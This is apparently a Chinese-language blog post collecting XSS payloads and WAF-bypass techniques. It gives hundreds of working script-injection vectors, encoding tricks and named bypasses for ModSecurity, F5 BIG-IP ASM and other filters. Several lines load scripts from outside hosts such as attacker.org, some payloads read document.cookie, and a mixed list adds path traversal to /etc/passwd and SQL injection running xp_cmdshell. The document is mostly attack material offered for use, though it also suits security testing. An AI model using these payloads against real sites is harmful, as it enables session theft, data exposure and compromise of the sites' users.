这里为个人网上收集的XSS Payload,仅用于XSS攻击测试。

《xss绕过,payload全集》

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
通杀标签payload:
<aaaa id="c" onfocus="alert(1)" tabindex=0>

1、script标签
绕过进行一次移除操作:
<scr<script>ipt>alert("XSS")</scr<script>ipt>
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>

1.2 JavaScript 事件
我们可以像如下这样在元素中定义 JavaScript 事件:
<div onclick="alert('xss')">
这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:<divonmouseenter="alert('xss')">当用户鼠标移动到 div 上时就会触发我们的代码。
另一个绕过的办法就是在属性和= 之间插入一个空格:
<div onclick ="alert('xss')">

1.3 行内样式(Inlinestyle)
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性://IE5之后才支持
<div style="color: expression(alert('XSS'))">//experssion后执行的语句相当于javascript后执行的语句
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression
/style=[^<]*((expression\s*?[<]∗?)|(behavior\s*:))[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:
<div style="color: '<'; color: expression(alert('XSS'))">

1.4 CSS import
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。
<style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css:
body {
    color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。

1.5 Javascript URL
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:
<a href="javascript:alert('test')">link</a>
上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:
<a href="Java&#115;cript:alert('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
<a href='vbscript:MsgBox("XSS")'>link</a>
'-confirm`1`-'
'-confirm(1)-'

1.6 利用字符编码
%c1;alert(/xss/);//

1.7 绕过长度限制
"onclick=alert(1)//
"><!--
--><script>alert(xss);<script>

1.8 使用<base>标签
<script>alert(navigator.userAgent)<script>
<script>alert(88199)</script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>
<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>
<script>+alert(88199)</script>
<script>alert(/88199/)</script>
<script src=data:text/javascript,alert(88199)></script>
<scriptsrc=&#100&#97&#116&#97:text/javascript,alert(88199)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/88199/.source)</script>
<script>setTimeout(alert(88199),0)</script>
<script>document['write'](88199);</script>

<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>M
<a onmouseover=alert(17)>M
<a onclick=alert(18)>M
<a href=javascript:alert(19)>M
<button/onclick=alert(20)>M
<form><button
formaction=javascript&colon;alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M
<form onsubmit=alert(23)><button>M
<img src=x onerror=alert(24)> 29
<body/onload=alert(25)>

<body
onscroll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>

<iframe src="http://0x.lv/xss.swf"></iframe>
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">^_^
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">


<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 onerror=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus>

2.2.1 如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;

2.2.2使用<a>标签测试
<a  href=“http://www.google.com">Clickme</a>
<a被过滤?
href被过滤?
其他内容被过滤?
如果没有过滤尝试使用
<a href=”javascript:alert(1)”>Clickme</a>
尝试使用错误的事件查看过滤
<a href="rhainfosec.com"onclimbatree=alert(1)>ClickHere</a>
HTML5拥有150个事件处理函数,可以多尝试其他函数
<body/onhashchange=alert(1)><a href=#>clickit

2.3 测试其他标签
src属性
<img src=x      onerror=prompt(1);>
<img/src=aaa.jpg      onerror=prompt(1);
<video src=x      onerror=prompt(1);>
<audio src=x      onerror=prompt(1);>
iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
<embed/src=//goo.gl/nlX0P>
Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindexaction=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)type=image>
<isindex action=data:text/html, type=image>
mario验证
<span class="pln">    </span><spanclass="tag">&lt;formaction</span><spanclass="pun">=</span><spanclass="atv">&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)&amp;lt/script&amp;gt&amp;#039;</span><spanclass="tag">&gt;&lt;button&gt;</span><spanclass="pln">CLICK</span>
“formaction”属性
<isindexformaction="javascript:alert(1)"     type=image>
<input type="image" formaction=JaVaScript:alert(0)>
 <form><buttonformaction=javascript&colon;alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera10.5      and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // FirefoxOnly
<embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"     allowscriptaccess=always>
事件处理
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)> //      Useful in-case of payloadrestrictions.
嵌套欺骗
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body  language=vbsonload=alert-1 // Works with IE8
<commandonmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6  9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>     // Works with IE8
圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1">
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;
Expression 属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>     // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>     // Works upto IE7
“location”属性
<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(1) >123
其他Payload
<meta http-equiv="refresh"     content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh"     content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g     onload="javascript:\u0061lert(1);"></g></svg> //     By @secalert
<svg xmlns:xlink=" r=100 /><animateattributeName="xlink:href"     values=";javascript:alert(1)" begin="0s"     dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>     // By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon;alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.NET/t846h/">click // ByAshar Javed
();:被过滤
<svg><script>alert&#40/1/&#41</script>     // Works With All Browsers
( is html encoded to &#40
 ) is html encoded to &#41
Opera的变量
<svg><script>alert&#40      1&#41 // Workswith Opera Only
实体解码
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
<a href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>
编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码
(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

2.4 基于上下文的过滤
WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式

2.4.1 输入反射属性
<inputvalue="XSStest" type=text>
我们可以使用 “><imgsrc=x  onerror=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本
" onmouseover="prompt(0) x="
" onfocusin=alert(1)     autofocus x="
" onfocusout=alert(1)     autofocus x="
" onblur=alert(1) autofocus     a="
输入反射在<script>标签内
类似这种情况:
<script>
Var
x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()
confirm() ,例如:
“;alert(1)//

2.4.3 超文本内容
代码中的情况如下
<a
href=”Userinput”>Click</a>
可以使用javascript:alert(1)//直接执行<a
href=”javascript:alert(1)//”>Click</a>

2.4.4 变形
主要包含大小写和JavaScript变形
javascript&#058;alert(1)
javaSCRIPT&colon;alert(1)
JaVaScRipT:alert(1)
javas&Tab;cript:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29
avascript&#x3A;alert&lpar;document&period;cookie&rpar;     // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript&#058;alert(1);
vbscr&Tab;ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

2.4.5JSON内容
反射输入
encodeURIComponent(&#039;userinput&#039;)
可以使用
-alert(1)-
-prompt(1)-
-confirm(1)-
结果
encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)

2.4.6 输入反射在svg标签内
源码如下:
<svg><script>varmyvar=”YourInput”;</script></svg>
可以输入
www.site.com/test.PHP?var=text”;alert(1)//
如果系统编码了”字符
<svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
浏览器BUG

2.4.7 字符集BUG
字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。
示例
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
可以控制编码,提交
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
src=x onerror=prompt(0);>
可以修改为UTF-32编码形式
???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

2.4.8 空字节
最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字节只适用于PHP 5.3.8以上的版本

2.4.9 语法BUG
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
<//     style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71
<!--[if]><script>alert(1)</script     --> // Worksupto IE9 参考http://html5sec.org/#115
<?xml-stylesheet     type="text/css"?><root    style="x:expression(write(1))"/> // Works in IE7 参考http://html5sec.org/#77
<%div%20style=xss:expression(prompt(1))>     // Works Upto IE7

2.4.10Unicode分隔符
[on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:
IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android =     [0x09,0x20,0x28,0x2C,0x3B]
x0b在Mod_security中已经被过滤,绕过的方法:
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec

2.4.11缺少X-frame选项
通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞
Docmodes
IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式
expression(open(alert(1)))
以下POC可以插入到IE7中
<html>
    <body>
    <meta http-equiv="X-UA-Compatible"content="IE=EmulateIE7" />
    <iframesrc="https://targetwebsite.com">
    </body>
    </html>

2.4.12Window.name欺骗
情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
POC
<iframesrc=&#039;http://www.target.com?foo="xss autofocus/AAAAA  onfocus=location=window.name//&#039;
name="javascript:alert("XSS")"></iframe>
DOM型XSS
服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
<script>
    vari=location.hash;
    document.write(i);
    </script>
在一些情况下,反射型XSS可以转换成DOM型XSS:
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
上面的POC只在[.+都被允许的情况下适用,可以使用location.hash注入任何不允许的编码
Location.hash[1] = :  // Defined at the first position after    the hash.
Location.hash[2]= (  // Defined at the second position after    the has
Location.hash[3] = ) // Defined     at third position after the hash.
如果有客户端过滤可能不适用

2.4.13ModSecurity绕过
<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location=&#039;\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B&#039;>rhainfosec
参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

2.4.14WEB KNIGHT绕过
<isindexaction=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)type=image>
<marquee/onstart=confirm(2)>
F5 BIG IP ASM and Palo ALTO绕过
<table background="javascript:alert(1)"></table> //IE6或者低版本Opera
    “/><marquee onfinish=confirm(123)>a</marquee>
Dot Defender绕过
<svg/onload=prompt(1);> 
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

XSS Payload杂烩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>

按标签分类的XSS Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
";alert(1);//xx


¼script¾alert(¢XSS¢)¼/script¾ //US-ASCII编码,如Tomcat


<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT> //IE7以下
<![endif]-->


</title><script>alert(1);</script>


<a href="javascript:alert(1)">aaaa</a>
<a href="JavaSCript:alealertrt%25281%2529">aaaa</a>
<a onclick=alert(1)>XSS</a>
<a onmouseover=alert(1)>XSS</a>


<body onload=alert(1)> //无需js标签,可直接执行
<body background="javascript:alert('XSS')"> //IE7以下


<DIV style="background-image: url(javascript:alert('XSS'))"> //IE7以下
<DIV style="width: expression(alert('XSS'));">


<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" allowscriptaccess="always"></embed> //Firefox/Chrome


<iframe src="javascript:alert(1)"></iframe>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> //Firefox/Chrome/Safari
<iframe src=# onmouseover="alert(document.cookie)"></iframe>


'"><img onmouseover=alert(1)> //IE
<img onmouseover=alert(1) src> //IE
<img src=x onmouseover=alert(1)>
<img src=x onerror=alert(1)>
<img/src=x onerror=alert(1)>
<img src=1 alt=al lang=ert onerror=top[url=1]alt+lang[/url]>
// 下面的img标签都是在IE7以下版本生效
<img src=JaVaScRiPt:alert(1)>
<img src=javascript:alert(String.fromCharCode(49))>
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<img src=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<img src="jav ascript:alert('XSS')"> <!-- 这里空格是tab -->
<img src="jav&#x09;ascript:alert('XSS');"> <!-- &#x09;是tab -->
<img src="jav&#x0D;ascript:alert('XSS');"> <!-- &#x0D;是回车 -->
<img src=" &#14; javascript:alert('XSS');">
<img DYNsrc="javascript:alert('XSS')">
<img LOWsrc="javascript:alert('XSS')">
<img src=`javascript:alert('xxxxx')`>
<img src='vbscript:msgbox("XSS")'>


<input type=image src=x onerror=alert(1)>
<input type="IMAGE" src="javascript:alert('XSS');"> //IE7以下


<link rel="stylesheet" href="javascript:alert('XSS');"> //IE7以下


<meta http-equiv="refresh" content="x;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> //Firefox


<script>alert(1)</script>
<sCrIpt>alert(1)</ScRipt>
<sCrsCrIptIpt>alalertert(1)</ScRsCrIptipt>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>window[url=0]'alert'[/url]</script>
<script>parent[url=1]'alert'[/url]</script>
<script>self[url=2]'alert'[/url]</script>
<script>top[url=3]'alert'[/url]</script>
<script src=http://www.xss.com/1.js></script>
[quote]</script>">'><script>alert(String.fromCharCode(49))</script>
<<SCRIPT>alert(1);//<</SCRIPT>[/quote]


<style>li{list-style-image: url("javascript:alert('XSS')");}</style><ul><li>XSS</br> //IE7以下
<style>a{width:expression(alert('11'))}</style><a href="x"></a> //IE7以下
<style>.xss{background-image:url("javascript:alert('XSS')");}</style><a class=xss></a> //IE7以下
<style type="text/css">BODY{background:url("javascript:alert('XSS')");}</style> //IE7以下


<svg/onload=alert(1)>


<table BACKGROUND="javascript:alert('XSS')"> //IE7以下
<table><TD BACKGROUND="javascript:alert('XSS')"> //IE7以下
<div style="background-image: url(javascript:alert('XSS'));"> //IE7以下

MarkDown XSS Payload杂烩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
